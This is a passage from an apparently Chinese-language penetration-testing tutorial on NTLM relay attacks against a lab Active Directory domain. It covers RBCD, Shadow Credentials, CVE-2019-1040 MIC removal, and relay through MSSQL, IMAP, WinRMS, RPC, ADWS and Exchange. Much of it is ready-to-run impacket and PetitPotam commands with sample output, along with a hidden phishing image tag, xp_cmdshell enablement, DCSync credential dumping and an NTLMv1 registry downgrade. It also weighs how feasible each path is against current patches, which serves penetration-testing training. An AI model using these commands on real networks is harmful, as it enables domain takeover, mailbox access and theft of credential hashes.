1. ISNMNRJN$ 向 KDC 请求 S4U2Self
"我是 ISNMNRJN$,帮我获取一张 Administrator 访问我自己的 ST"
KDC 返回 ST:Administrator → ISNMNRJN$
2. ISNMNRJN$ 拿着 S4U2Self 的票据,向 KDC 请求 S4U2Proxy
"以 Administrator 的身份,给我一张访问 CIFS/DC02 的 ST"
KDC 检查 DC02$ 的 msDS-AllowedToActOnBehalfOfOtherIdentity
发现 ISNMNRJN$ 的 SID 在列表中 → 授权通过
3. KDC 返回 ST:Administrator → CIFS/DC02.testjd.local
第六步:使用票据登录 DC02
export KRB5CCNAME=Administrator@[email protected]
impacket-wmiexec -k -no-pass DC02.testjd.local
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell
C:\> whoami
testjd\administrator
替代路径:Shadow Credentials(msDS-KeyCredentialLink)
除了 RBCD,HTTP → LDAP 中继后还可以使用 Shadow Credentials 攻击——将攻击者的公钥写入目标机器账户的 msDS-KeyCredentialLink 属性,然后通过 PKINIT 获取该账户的 TGT:
# 启动 ntlmrelayx,使用 Shadow Credentials 模式
impacket-ntlmrelayx \
-t ldap://dc01.testjd.local \
--shadow-credentials \
--shadow-target 'DC02$' \
--pfx-password 'P@ssw0rd' \
--cert-outfile-path /tmp/dc02_shadow.pfx \
--no-wcf-server --no-raw-server --no-rpc-server \
--http-port 80
# 触发强制认证(同 RBCD 方式)
python3 PetitPotam.py -d testjd.local -u attacker -p Bb123456 \
hacker@80/test123 192.168.244.133
# 中继成功后,使用生成的证书通过 PKINIT 获取 TGT
python3 gettgtpkinit.py \
-cert-pfx /tmp/dc02_shadow.pfx \
-pfx-pass 'P@ssw0rd' \
testjd.local/DC02\$ dc02.ccache
# 从 TGT 中提取 NTLM Hash(UnPAC the TGT)
export KRB5CCNAME=dc02.ccache
# 使用 getnthash.py 提取 NT Hash
python3 getnthash.py -key <AS-REP-KEY> testjd.local/DC02\$
# 后续利用 NTLM Hash 进行 DCSync 或 PTH
impacket-secretsdump -hashes :<NTHASH> 'testjd.local/[email protected]'
Shadow Credentials vs RBCD 对比:Shadow Credentials 更隐蔽(不如 RBCD 常见,监控较少),但要求域功能级别为 Windows Server 2016 以上,且域控需要配置证书(AD CS 或第三方 CA)。RBCD 兼容性更好(Windows Server 2012 R2 即可),但
msDS-AllowedToActOnBehalfOfOtherIdentity的修改更容易被 SIEM 检测。
SMB → LDAP 中继
SMB → LDAP 中继比 HTTP → LDAP 受到更多限制。这里的原因需要准确理清——并不是简单的”MIC 被破坏所以失败”,而是一个协议层面的标志位冲突问题。
为什么 SMB → LDAP 比 HTTP → LDAP 困难
NTLMv2 消息中的 MIC(Message Integrity Code) 覆盖了整条认证消息的完整性。MIC 的计算中包含 MsvAvFlags 标志位,这个标志位记录了”源端协议是否协商了会话签名”。
当源端是 SMB 时,SMB 协议会在 NTLM 协商阶段写入 SMB 特有的签名协商标志到 MsvAvFlags 中。这些标志是 SMB 协议专有的,LDAP 协议栈不认识它们:
SMB 捕获的 Type 3 消息 → 包含 SMB 签名协商标志
│
▼
中继到 LDAP → LDAP 服务端看到"自己不理解但知道存在"的标志位
│
▼
LDAP 协议栈 glitch → 认证过程直接出错,不等走到 MIC 校验就挂了
│
▼
攻击者尝试剥离这些 SMB 标志位 → NTLM 消息内容变了
│
▼
MIC 计算所依赖的消息内容被改动 → MIC 校验失败 → 认证被拒绝
这不是”攻击者不知道 Session Key 所以无法计算 MIC”的问题——原始 MIC 本身是有效的,问题在于 SMB 特有的标志位让 LDAP 协议栈无法正常处理,而剥离标志位又破坏了 MIC 的完整性。这是一个死锁:
- 保留 SMB 标志位 ──→ LDAP 协议栈 glitch → 失败
- 剥离 SMB 标志位 ──→ MIC 被破坏 → 服务器拒绝
- 唯一的突破:CVE-2019-1040(服务器忽略 MIC 缺失)
CVE-2019-1040 的核心发现:即使 NTLMv2 消息中的 MsvAvFlags 表明 MIC 存在,服务器在 MIC 被移除后仍然接受认证。这给了攻击者一条出路——移除 MIC,然后自由修改 MsvAvFlags:
# SMB → LDAPS 中继(利用 CVE-2019-1040 移除 MIC)
impacket-ntlmrelayx -t ldaps://192.168.244.131 --remove-mic -smb2support
微软在 2019 年 6 月发布了 CVE-2019-1040 的补丁,补丁后的系统会拒绝缺少 MIC 的 NTLMv2 消息。但 Windows Server 2019 之前的 ISO 镜像未包含此补丁。
为什么 HTTP → LDAP 没有这个问题
HTTP 协议层根本没有 NTLM 会话签名这个概念。HTTP 捕获的 NTLM 消息中,MsvAvFlags 不包含 SMB 特有的签名协商标志。中继到 LDAP 时,消息本身就是”干净”的——没有需要剥离的标志位,MIC 保持完整无损,LDAP 协议栈正常处理。
这就是为什么 WebDAV / HTTP → LDAP 是最强大的中继路径——它回避了整个标志位冲突问题。
为什么 SMB → HTTP 也不需要 –remove-mic
这是容易产生误解的地方。SMB → HTTP 同样是跨协议中继,但 HTTP 作为目标端时,HTTP 服务端根本不解析 SMB 特有的 MsvAvFlags 标志位——HTTP 没有会话签名这一层,它只会忽略不理解的部分。因此 SMB 的标志位不需要剥离,MIC 保持完整,中继直接成功。
总结规则:
需要 --remove-mic 的唯一场景:源端是 SMB 且目标端是 LDAP(或强制签名的 SMB)
原因:LDAP 和 SMB 都支持会话签名,但签名协商标志是协议特定的,两者不兼容
不需要 --remove-mic 的场景:
- HTTP → 任意(源端无签名标志,消息"干净")
- SMB → HTTP(HTTP 目标端忽略 SMB 特有标志,不产生 glitch)
- SMB → SMB(签名未要求)(同协议,无需修改)
- 任意 → MSSQL/IMAP/WINRMS(这些目标协议都不产生标志位冲突)
同机中继限制
MS08-068(KB957097,2008 年 11 月)修补了 SMB → SMB 的同机反射攻击。其核心机制是:SMB 客户端调用 SSPI 时设置 pszTargetName,LSASS 在本地缓存 (Challenge, SPN);服务端收到 AUTHENTICATE 后检查本机 LSASS 缓存,如果存在匹配条目则拒绝认证——当 Client 和 Server 是同一台机器时,缓存命中,反射被阻断。
这一机制在实践中同样影响 SMB → LDAP 的同机中继:因为域控既是 SMB 服务端也是 LDAP 服务端,两者共用同一个 LSASS 实例,缓存的 Challenge 在同机 LDAP 验证时也可能命中。实际的可行组合:
| 触发方式 | 中继目标 | 可行性 | 原因 |
|---|---|---|---|
| SMB Coercion(跨机 + –remove-mic) | LDAP(不同机器) | 可行 | 跨机,Challenge 缓存不在目标机器的 LSASS 中 |
| SMB Coercion(跨机) | LDAP(同一机器) | 不可行 | 同机 LSASS 缓存命中,认证被拒绝 |
| HTTP Coercion | LDAP(同机或跨机均可) | 可行 | HTTP 源端不调用 SMB ISC,不触发 pszTargetName 缓存 |
HTTP → SMB 中继
⚠️ HTTP → SMB 中继在 2026 年的 Windows 域环境中已高度不可靠。 以下逐一身剖析每个”经典场景”及其实际可行性。
场景一:IE/Edge 直接访问 URL
经典说法:攻击者通过 LLMNR 投毒让受害者访问 http://FAKESERVER(无点号 NetBIOS 名),被归入 Intranet Zone → 自动发送 NTLM 凭据 → 中继到 SMB。
实际情况:Intranet Zone 检测不止看”无点号”一条规则。IE 在域环境中会额外检查:目标 IP 是否在本地子网、DNS 后缀是否匹配、代理绕过列表、IE 增强安全配置(ESC)状态等。域控和 Windows Server 上 IE ESC 默认开启,导致即使 NetBIOS 名也无法自动发送凭据。Win10/Win11 客户端上,”自动检测 Intranet 网络”的多层启发式判断结果随网络拓扑而异,不可预测。
结论:❌ 不可靠。需要目标机器的 Intranet Zone 配置恰好允许特定 URL,这不是攻击者能控制的变量。
场景二:Outlook 邮件钓鱼(<img src="http://...">)
经典说法:邮件中嵌入远程图片链接,Outlook 加载图片时自动发起 HTTP NTLM 认证。
实际情况:微软 2023 年 7 月安全更新限制了 UNC、SMB 和 file:// 路径(MapUrlToZone 判定)。对 HTTP 路径,Outlook 继承了 IE 的 Intranet Zone 判断——同样受 IE ESC、DNS 后缀、代理绕过列表等因素影响。内部发件人(同域)加载图片时 Outlook 可能不提示,但能否触发静默 NTLM 认证取决于接收者机器的安全区域配置。
结论:⚠️ 仅特定条件下可行,不适合作为通用技术写入攻击链。
场景三:WPAD 投毒
经典说法:Responder 劫持 WPAD 名称解析 → 浏览器获取 wpad.dat → 触发 NTLM 认证 → 中继到 SMB。
实际情况:MS16-077(2016 年 6 月)已经废掉了 WPAD 广播投毒的核心环节。 微软当时做了两个关键限制:
1. 系统不再能通过广播协议(LLMNR/NBT-NS)解析 WPAD 文件的位置,只能通过 DHCP 或 DNS
2. WinHTTP 在请求 PAC 文件时不会自动发送域凭据来响应 NTLM 质询
这意味着即使 Responder 成功劫持了 WPAD 名称解析,浏览器向攻击机请求 wpad.dat 时 WinHTTP 不会静默发送 NTLM 凭据——没有凭据,就没有可中继的内容。
结论:❌ MS16-077 之后不可行。WPAD 投毒仅能用于捕获尝试连接但不会得到静默 NTLM 认证。
那 HTTP → SMB 中继还能怎么做?
直接答案:没有可靠的方式。 mitm6 解决了 DNS 劫持(绕过了 MS16-077 第一条限制),但解决不了核心问题——WinHTTP 在请求 PAC 文件时不自动发送域凭据(MS16-077 第二条限制)。无论 WPAD 是通过广播、DHCP、DNS 还是 mitm6 解析的,WinHTTP 连接到攻击机时不发送凭据,就没有可中继的内容。
如果想要在实验环境中验证 HTTP → SMB 中继的链路原理:在目标机器的 IE 设置中手动将攻击机 IP 加入 Intranet Zone,访问
http://<攻击机IP>/即可触发静默 NTLM 发送并中继到 SMB。但这只是验证链路通畅性,不是攻击技术——这是在手动关掉自己的防线。

历史注记
HTTP → SMB 曾有一个著名利用 MS16-075(Hot Potato):将 WPAD 触发的 HTTP 认证中继到本机 SMB(localhost),绕过了 MS08-068(只堵了 SMB→SMB)。MS16-075 之后微软修复了此路径。MS16-077 又进一步限制了 WPAD 的凭据自动发送。这两组补丁加起来,HTTP → SMB 中继作为一项攻击技术在 2026 年环境中已无实际利用价值。
MSSQL 中继
MSSQL 数据库支持 NTLM 认证。MSSQL 中继有三个方向:
| 方向 | 源协议 | 目标协议 | 说明 |
|---|---|---|---|
| 从 MSSQL 捕获 → 中继到 SMB/LDAP | SMB(xp_dirtree 触发) | SMB / LDAP | 最常用:用 MSSQL 的扩展存储过程触发 UNC 认证,截获后中继 |
| HTTP/SMB → 中继到 MSSQL | HTTP / SMB | MSSQL | 将捕获的认证中继到 MSSQL,获得数据库 Shell |
| 从 MSSQL 捕获 → 中继到 MSSQL | SMB(xp_dirtree) | MSSQL | SQL Server 之间的横向中继 |
方向一:从 MSSQL 捕获认证 → 中继到 SMB/LDAP(最常用)
这是 MSSQL 中继中最有价值的场景:攻击者通过 SQL 客户端连接到 MSSQL,利用内置存储过程触发 MSSQL 服务向攻击机发起 SMB NTLM 认证,然后中继到其他目标。
实验环境要求
- 一台已加入域的 MSSQL 服务器(如 WIN10-PC 192.168.244.132,安装 SQL Server)
- MSSQL 服务以域账户或 Network Service 身份运行
- 攻击者拥有至少一个 SQL 登录(哪怕是 PUBLIC 角色也够用)
- 域账户登录:使用 Windows Authentication
- 本地 SQL 登录:比如 sa 或低权限 SQL 用户
- 攻击机 Kali 192.168.244.1

触发 MSSQL 向外发起 NTLM 认证的存储过程
MSSQL 内置了几个操作文件系统的扩展存储过程,它们接受 UNC 路径作为参数。当 MSSQL 服务处理这些 UNC 路径时,会尝试通过 SMB 连接该路径,从而以 MSSQL 服务账户的身份发起 NTLM 认证:
| 存储过程 | 用法 | 权限要求 | 可用性 |
|---|---|---|---|
xp_dirtree |
EXEC xp_dirtree '\\IP\share', 1, 1 |
PUBLIC | ✅ 所有版本 |
xp_fileexist |
EXEC xp_fileexist '\\IP\share\file.txt' |
PUBLIC | ✅ 所有版本 |
xp_subdirs |
EXEC xp_subdirs '\\IP\share' |
需 sysadmin | ✅ 所有版本 |
xp_getfiledetails |
EXEC xp_getfiledetails '\\IP\share\file.txt' |
需 sysadmin | ❌ SQL 2017+ 已移除 |
xp_dirtree 是最常用的选择——默认对所有 PUBLIC 角色成员开放。
⚠️ 中继的凭据是 MSSQL 服务账户的身份,不是 SQL 调用者的身份。
xp_dirtree触发的是 MSSQL 服务进程向外发起 SMB 连接——MSSQL 以Network Service运行时 → 机器账户(如WIN10-PC$);以域账户运行时 → 该域账户。如果 MSSQL 装在域控上,服务以DC01$运行,该账户本身就是 Domain Controllers 组成员。SMB → LDAP 中继需要
--remove-mic且目标未打 CVE-2019-1040 补丁,且必须跨机。 MSSQL 触发的是 SMB 认证,中继到 LDAP 时面临和强制认证一样的 SMB→LDAP 跨协议障碍——不是xp_dirtree触发就能直接中继到 LDAP。
完整复现步骤
Step 1:攻击机启动 ntlmrelayx,监听 SMB,中继到 LDAP:
# SMB → LDAP 必须加 --remove-mic,且目标未打 CVE-2019-1040 补丁
# 不加会看到:The client requested signing. Relaying to LDAP will not work!
impacket-ntlmrelayx -t ldap://dc01.testjd.local --delegate-access --remove-mic -smb2support
# SMB → SMB(不需要 --remove-mic,但需中继账户【一般是机器账户的凭证】在目标上是本地管理员)
impacket-ntlmrelayx -t smb://192.168.244.132 -c "whoami" -smb2support
Step 2:攻击者使用 mssqlclient.py 连接到 MSSQL:
# Windows Authentication(域账户)
impacket-mssqlclient -windows-auth testjd/attacker:[email protected]
# 或本地 SQL Authentication
impacket-mssqlclient sa:[email protected]
Step 3:在 SQL Shell 中触发 xp_dirtree:
SQL> EXEC master..xp_dirtree '\\192.168.244.1\share', 1, 1;
参数说明:第一个参数是 UNC 路径(攻击机 IP),1 是递归深度,第二个 1 是显示文件。
Step 4:观察 ntlmrelayx 输出:
[*] SMBD-Thread-3: Received connection from 192.168.244.132, attacking target ldap://dc01.testjd.local
[*] Authenticating against ldap://dc01.testjd.local as TESTJD/WIN10-PC$ SUCCEED
[+] ... Adding new computer ... result: OK
[+] ... Delegation rights modified successfully!
结果:如果 MSSQL 服务以 Network Service 身份运行,发起 SMB 认证的身份是该机器的机器账户(如 WIN10-PC$);如果 MSSQL 以指定域账户运行,发起的身份就是该域账户。中继到 LDAP 后,可以 RBCD 或 Shadow Credentials;中继到 SMB 可以在目标执行命令。
配合 WebDAV 绕过 SMB 签名
如果中继目标是域控(强制 SMB 签名),可以通过 WebDAV 将 SMB 认证转换为 HTTP 认证,然后中继到 LDAP:
-- 触发 WebDAV(HTTP)认证,绕过 SMB 签名
SQL> EXEC master..xp_dirtree '\\hacker@80\test', 1, 1;
-- SSL WebDAV(端口 443)
SQL> EXEC master..xp_dirtree '\\hacker@SSL\test', 1, 1;
-- WebDAV 自定义端口
SQL> EXEC master..xp_dirtree '\\hacker@1234\test', 1, 1;
WebDAV 路径的格式规则:
– \\hacker@80\test → 通过 HTTP 80 端口连接 hacker
– \\hacker@SSL\test → 通过 HTTPS 443 端口连接 hacker
– \\hacker@SSL@4443\test → 通过 HTTPS 4443 端口连接 hacker
攻击机需要同时运行 ntlmrelayx 的 HTTP 监听器(--http-port),且目标服务器需要 WebClient 服务已启用。可先用 netexec smb -M webdav 确认目标是否开启了 WebClient。

impacket-ntlmrelayx -t ldap://192.168.244.133 --delegate-access -smb2support --keep-relaying

方向二:HTTP/SMB → 中继到 MSSQL
当攻击者通过其他方式捕获到 NTLM 认证后,可将其中继到 MSSQL 服务,获得数据库 Shell。
⚠️ 关键限制:中继目标 MSSQL 必须与受害者不在同一台机器上。 如果将受害者的 NTLM 认证中继到受害者自己机器上的 MSSQL,SSPI 检测到 loopback → 拒绝认证 → 报错 MSSQLSERVER_18452:”登录失败。该登录名来自不受信任的域,不能与集成身份验证一起使用。”(参考 Microsoft 官方文档)。你的环境中 MSSQL 和 DC 是同一台机器,所以方向二和方向三都会卡在这个错误上。

# 捕获认证 → 中继到 MSSQL(注意:目标必须是不同于受害者的机器)
impacket-ntlmrelayx -t mssql://192.168.244.131 -i -smb2support --http-port 80 --keep-relaying

中继成功后,如果中继到的身份在 MSSQL 中有 sysadmin 权限,可启用 xp_cmdshell 执行系统命令:
-- 交互式 MSSQL Shell 中
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';

方向三:从 MSSQL 捕获 → 中继到 MSSQL(横向)
将 SQL Server A 触发的 SMB 认证中继到 SQL Server B 的 MSSQL 服务。前提:A 和 B 是不同的机器(同机会触发 18452 loopback 错误),触发存储过程需要 A 上有 sysadmin 权限,B 上中继到的身份需有数据库登录权限。
# 在攻击机上,中继到 SQL Server B
impacket-ntlmrelayx -t mssql://sql02.testjd.local -i -smb2support
# 在 SQL Server A 上用 sysadmin 权限触发(xp_subdirs 需 sysadmin)
SQL> EXEC xp_subdirs '\\192.168.244.1\share';
# 注:xp_getfiledetails 在 SQL 2017+ 已移除,不可用
IMAP 中继
IMAP(Internet Message Access Protocol)邮件协议同样支持 NTLM 认证(通过 AUTH NTLM)。IMAP 中继有两个方向:
| 方向 | 源协议 | 目标协议 | 说明 |
|---|---|---|---|
| HTTP → 中继到 IMAP | HTTP(OWA/Outlook 触发) | IMAP | 将截获的 HTTP NTLM 认证中继到 Exchange IMAP 服务,访问受害者邮箱 |
| SMB → 中继到 IMAP | SMB | IMAP | 将 SMB 认证中继到 IMAP |
中继到 IMAP 的攻击价值
如果将域管的 NTLM 认证中继到 Exchange 的 IMAP 服务,攻击者可以以域管身份读取、下载、删除邮箱中的邮件——包括敏感的业务通信、密码重置邮件、VPN 配置等。
实验环境要求
- Exchange Server(如 exchange2016.testjd.local),启用 IMAP 服务(默认 TCP 143/993)
- 或任何支持 NTLM AUTH 的 IMAP 服务器
- 攻击机 Kali 192.168.244.1
- 能够触发目标用户向攻击机发起 HTTP NTLM 认证的手段
(如 Responder WPAD 投毒、Outlook 邮件钓鱼、mitm6)
完整复现步骤
Step 1:在攻击机上启动 ntlmrelayx,中继到 Exchange IMAP:
# 中继到 IMAP(明文 143 端口)
impacket-ntlmrelayx -t imap://exchange2016.testjd.local -i -smb2support --http-port 80
# 中继到 IMAPS(SSL 993 端口)
impacket-ntlmrelayx -t imaps://exchange2016.testjd.local -i -smb2support --http-port 80
Step 2:触发受害者向攻击机发起 HTTP NTLM 认证。
触发方式一——Responder WPAD 投毒:
# 同时运行 Responder 进行网络投毒
responder -I eth0
# 当域内用户通过浏览器访问网页时,Responder 劫持 WPAD 解析
# 浏览器自动向攻击机发起 HTTP NTLM 认证
触发方式二——Outlook 邮件钓鱼(UNC 路径):
<!-- 在邮件中嵌入指向攻击机的图片标签 -->
<img src="http://192.168.244.1/blank" style="display:none">
HTTP 路径默认不会自动发起 NTLM 认证,除非攻击者控制的主机名被浏览器视为内联网区域。这可以通过让 NetBIOS 名称形式的 URL(如
http://relayubuntu)来实现——Windows 认为 NetBIOS 名称处于内联网。攻击者需要先有域用户权限创建 DNS 记录(指向攻击机),然后构造http://<dns-name>形式的 URL。
Step 3:ntlmrelayx 中继成功后连接交互式 IMAP Shell:
nc 127.0.0.1 11000
交互式 IMAP Shell 支持的操作:
list # 列出所有邮箱文件夹
select INBOX # 选择收件箱
search ALL # 搜索所有邮件
fetch 1 body[header] # 获取邮件头
fetch 1 body[] # 获取完整邮件内容
store 1 +flags (\Deleted) # 删除邮件
expunge # 彻底删除
关于 Exchange CVE-2018-8581(PushSubscription Abuse)
Exchange 的 SSRF 漏洞默认携带机器账户凭据。利用推送订阅机制,Exchange 以 SYSTEM 身份向攻击者发起 HTTP NTLM 认证,然后中继到 LDAP 执行 ACL 提权:
# 使用 privexchange.py 设定推送订阅
python3 privexchange.py exchange2016.testjd.local \
-d testjd.local -ah 192.168.244.1 \
-u attacker -p Bb123456 --debug
# 攻击机中继到 LDAP,自动 ACL 提权
impacket-ntlmrelayx -t ldap://dc01.testjd.local \
--escalate-user attacker --no-dump
Exchange 机器账户是 Exchange Windows Permissions 组成员,该组默认对域分区拥有 WriteDacl 权限。中继后可直接为任意用户授予 DCSync 权限。这个攻击链的完整流程是 HTTP(来自 Exchange SSRF)→ LDAP(域控),与 IMAP 中继是不同方向。
WINRMS 中继(WinRM over HTTPS)
WINRM(Windows Remote Management)是 Windows 的远程管理协议,基于 HTTP(S) 传输(HTTP 端口 5985,HTTPS 端口 5986),支持 NTLM 和 Kerberos 认证。
然而,NTLM 中继到 WinRM 并不像中继到 SMB 或 LDAP 那么简单。 WinRM 的默认配置对中继有较强的抵御能力:
- WinRM over HTTP(5985):WinRM 在 HTTP 上使用消息层加密(
AllowUnencrypted = false时强制加密),加密密钥依赖 NTLM Session Base Key。中继攻击者没有 Session Base Key → 无法参与加密通信 → 中继失败。通常不可中继。 - WinRM over HTTPS(5986):WinRM/S 依赖 TLS 提供加密层,不再需要 NTLM 层的消息加密。这意味着中继攻击者不需要 Session Base Key。但还有一道防线:CbtHardeningLevel。
CbtHardeningLevel 是关键(参考 Microsoft 文档 和 kawakatz 分析):
| CbtHardeningLevel | 行为 | 中继可行性 |
|---|---|---|
None |
不验证 CBT | ✅ 可中继(极少见) |
Relaxed |
收到 NTLMv2 时尝试验证 CBT;收到 NTLMv1 时跳过 CBT 验证 | ⚠️ 仅 NTLMv1 可中继 |
Strict |
始终验证 CBT | ❌ 不可中继 |
Windows 默认的 CbtHardeningLevel 为 Relaxed。这意味着:只有当受害者使用 NTLMv1 认证时,WinRMS 中继才可能成功。 如果受害者发送 NTLMv2,WinRMS 会尝试验证 Channel Binding Token → CBT 不匹配 → 中继失败。
受害者凭什么发送 NTLMv1:LMCompatibilityLevel
WinRMS 中继要求受害者发送 NTLMv1 响应。但不是攻击者可以选择的——由受害者机器的 LMCompatibilityLevel 注册表值决定。
查询当前值:
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LmCompatibilityLevel
如果返回”系统找不到指定的注册表项或值”——键不存在。在 Windows Server 2012 及之后的系统上,键不存在时内置默认等效于 Level 3(仅发送 NTLMv2)。这就是你在自己 DC 上看到的情况。
各 Level 含义(参考 Microsoft 官方文档):
| Level | 客户端发送 | 服务端接受 | WinRMS 中继 |
|---|---|---|---|
| 0 | LM + NTLMv1 | 全部 | ✅ 但现代系统已禁用 |
| 1 | LM + NTLMv1(可协商 NTLMv2) | 全部 | ✅ |
| 2 | 仅 NTLMv1 | 全部 | ✅ |
| 3(默认) | 仅 NTLMv2 | 全部 | ❌ 无 NTLMv1 |
| 4 | 仅 NTLMv2 | 拒绝 LM | ❌ |
| 5 | 仅 NTLMv2 | 拒绝 LM + NTLMv1 | ❌ |
关键结论:现代 Windows(Vista 起)键不存在时默认等效 Level 3。任何默认安装的 Windows 域环境都不会发送 NTLMv1。 要触发 WinRMS 中继,必须主动将受害者机器的
LmCompatibilityLevel降到 2 或更低,并重启生效——这在实际攻击场景中需要管理员权限,形成一个前提悖论。WinRMS 中继的实用价值仅限于已被人为降级到 NTLMv1 的遗留环境、或渗透测试中已获管理员权限后作为持久化手段。
中继方向
| 方向 | 源协议 | 目标协议 | 凭证要求 | 说明 |
|---|---|---|---|---|
| HTTP → WINRMS | HTTP | WINRMS (5986) | 域用户 / 机器账户 | 最可行方向,需 NTLMv1 |
| SMB → WINRMS | SMB | WINRMS (5986) | 域用户 / 机器账户 | 跨协议中继,需 NTLMv1 |
⚠️ ntlmrelayx 的协议名是
WINRMS(大写 S 表示 HTTPS),不是WINRM或WSMAN。使用winrm://会报Protocol Client for winrm not found。正确的 target 格式为winrms://<target>。
实验环境要求
- 域控 LmCompatibilityLevel <= 2(受害者发送 NTLMv1)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LmCompatibilityLevel /t REG_DWORD /d 2 /f 并重启
- 目标机器 WinRM 已启用(5986 HTTPS)
- 被中继账户属于目标机器 Remote Management Users 或 Administrators
完整复现步骤
Step 1:在攻击机上启动 ntlmrelayx,中继到 WINRMS:
# ntlmrelayx 正确写法:winrms://
impacket-ntlmrelayx -t winrms://192.168.244.131 -i -smb2support --http-port 80 --no-multirelay
Step 2:触发受害者向攻击机发起 HTTP NTLMv1 认证。Responder 的 --lm 参数用于降级捕获的挑战:
responder -I eth0 --lm
Step 3:中继成功后连接交互式会话:
nc 127.0.0.1 11000
WINRMS 中继的价值在于获得一个完整的交互式 PowerShell 远程会话。但由于 NTLMv1 的前提条件在绝大多数现代 Windows 域环境中不满足,WinRMS 中继的实际利用场景非常有限。在大多数渗透测试中,中继到 SMB(SAM Dump / 命令执行)或 LDAP(RBCD / ACL 提权)是更可靠的选择。
192.168.244.133 上执行 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LmCompatibilityLevel /t REG_DWORD /d 2 /f



RPC 中继
RPC(Remote Procedure Call)是 Windows 中最底层的远程调用机制。DCOM、WMI、ADWS、任务计划等上层协议都建立在 RPC 之上。ntlmrelayx 支持两个独立的 RPC 相关中继目标。
RPC 中继(命令执行)
基于 Compass Security 2020 年发现的技术(CVE-2020-1113),ntlmrelayx 可以将 NTLM 认证中继到 RPC 服务,通过 MS-TSCH(Task Scheduler)协议在目标上以 ATExec 方式执行命令。
# 中继到 RPC,执行命令(通过计划任务)
impacket-ntlmrelayx -t rpc://192.168.244.132 -c "whoami" -smb2support
⚠️ CVE-2020-1113 补丁状态:微软在 2020 年 5 月的安全更新中修复了 MS-TSCH 的认证级别问题——打补丁后 MS-TSCH 要求
RPC_C_AUTHN_LEVEL_PKT_PRIVACY(签名+加密),中继攻击者没有 Session Key 无法满足该要求。因此在 2020 年 5 月后的已打补丁系统上,RPC 中继到任务计划执行命令通常不可行。
DCSync 中继(独立协议客户端)
ntlmrelayx 的 DCSync 中继(dcsync:// 协议目标,DCSYNCRelayClient)由 Dirk-jan Mollema 贡献,随 impacket 0.9.22 发布(PR #959)。该客户端直接将中继来的 NTLM 认证转发到 DRSUAPI,调用 IDL_DRSGetNCChanges 导出域凭据。
DRSUAPI 签名要求与 Zerologon 依赖
DRSUAPI 协议始终要求 RPC 签名(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY 或 RPC_C_AUTHN_LEVEL_PKT_PRIVACY,参考 MS-RPCE)。DCSYNCRelayClient 的源码文档明确写道:
“Relays to DRSUAPI directly. Since this requires signing+sealing, it invokes the Zerologon vulnerability to impersonate the DC and grab the session key over Netlogon.”
翻译:DRSUAPI 需要签名 + 密封。为了满足这个要求,客户端调用 Zerologon(CVE-2020-1472) 来模拟域控并从 Netlogon 获取会话密钥。
这意味着 dcsync:// 目标依赖 Zerologon。如果目标 DC 不受 Zerologon 影响——这正是你的环境——netlogonSessionKey 无法从 Netlogon 获取,signingkey 停留在初始化的 int 0,抛 TypeError。
实际可行的 DCSync 间接路径
直接 dcsync:// 中继在非 Zerologon 环境中不可用,但凭据导出可通过以下间接路径实现(详见本文对应章节):
- LDAP 中继 → 授予 DCSync 权限:
-t ldap://dc --escalate-user attacker - AD CS ESC8 → 证书 → TGT → DCSync:
-t http://dc/certsrv/certfnsh.asp --adcs - Kerberos 中继 → TGT → DCSync:krbrelayx 捕获 AP-REQ → PKINIT → TGT
# 路径 1:LDAP 中继 + 授权 DCSync
impacket-ntlmrelayx -t ldap://dc01.testjd.local --escalate-user attacker -smb2support
# 中继成功后,attacker 获得 DCSync 权限
impacket-secretsdump testjd/attacker:Bb123456@dc01 -just-dc
ADWS(Active Directory Web Services)WCF 中继
ADWS 基于 WCF(Windows Communication Foundation)的 NetTcpBinding,监听 TCP 9389 端口。ntlmrelayx 从 v0.9.22 开始(Clément Notin 贡献)内置了 WCF 中继服务器。
攻击场景:攻击者在域控的同一网段部署 WCF 中继服务器,诱骗域管执行 Get-ADUser -Server <attacker_IP>,捕获的 NTLM 认证可中继到其他目标。
WCF 捕获 → 中继到 LDAP(推荐——RBCD/ACL 提权,CVE-2020-1113 后 RPC 已不可用)
impacket-ntlmrelayx --no-smb-server --no-http-server \
-t ldap://dc01.testjd.local --delegate-access -debug
WCF 中继的实际利用价值需要诚实评估。 Clément Notin 2020 年发表的原始研究是唯一的技术来源——之后没有任何公开的真实入侵案例或独立验证报告引用 WCF 中继。所有后续引用均直接出自 Notin 原文。
从技术角度看,WCF→LDAP 面临与 SMB→LDAP 完全相同的 NTLM MIC 障碍(你的复现已证实
client requested signing)。理论上--remove-mic+ 未打 CVE-2019-1040 补丁的目标 + LDAP 签名未强制(大多数默认配置,参考 KB4520412)三个条件同时满足可工作,但触发条件本身(骗域管执行Get-ADUser -Server <attacker_IP>)在实际渗透中难以稳定实现。WCF 中继属于”原理正确但实际利用窗口极窄”的技术。
触发方式(在域控上):
Get-ADUser -Filter * -Server 192.168.244.1
参考来源:Clément Notin「NTLM relay of ADWS (WCF) connections with Impacket」(2020):https://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket
LDAP 中继
被中继账户的权限与可执行操作
中继到 LDAP 后,攻击者以 Victim 身份执行 LDAP 操作:
┌── 高权限组用户:
│ Domain Admins / Enterprise Admins
│ Account Operators / Backup Operators
│ └──→ 将任意用户添加到管理员组
├── 有 WriteDacl 权限的账户:
│ Exchange 机器账户、某些委派的服务账户
│ └──→ 为任意用户授予 DCSync 权限
│ (DS-Replication-Get-Changes
│ DS-Replication-Get-Changes-All)
├── 普通域用户 / 机器账户:
│ └──→ 创建机器账户 (MachineAccountQuota 默认 10)
│ └──→ 配置 RBCD (对自身有写权限的机器)
│ └──→ Shadow Credentials (给目标机器账户添加 KeyCredential)
│ └──→ Dump LDAP 信息 (LAPS 密码、GMSA 密码、ADCS 配置)
└── 域控机器账户:
└──→ DCSync 拉取所有域用户 Hash
└──→ RBCD / Shadow Credentials 到自身
针对高权限组的中继利用
# 将 attacker 提权到 Domain Admins
impacket-ntlmrelayx -t ldap://dc01.testjd.local --escalate-user attacker
ADCS 信息收集与 ESC8
通过 LDAP 中继可以收集 ADCS 配置信息并利用 ESC8(HTTP 证书注册端点中继):
# dump ADCS 信息
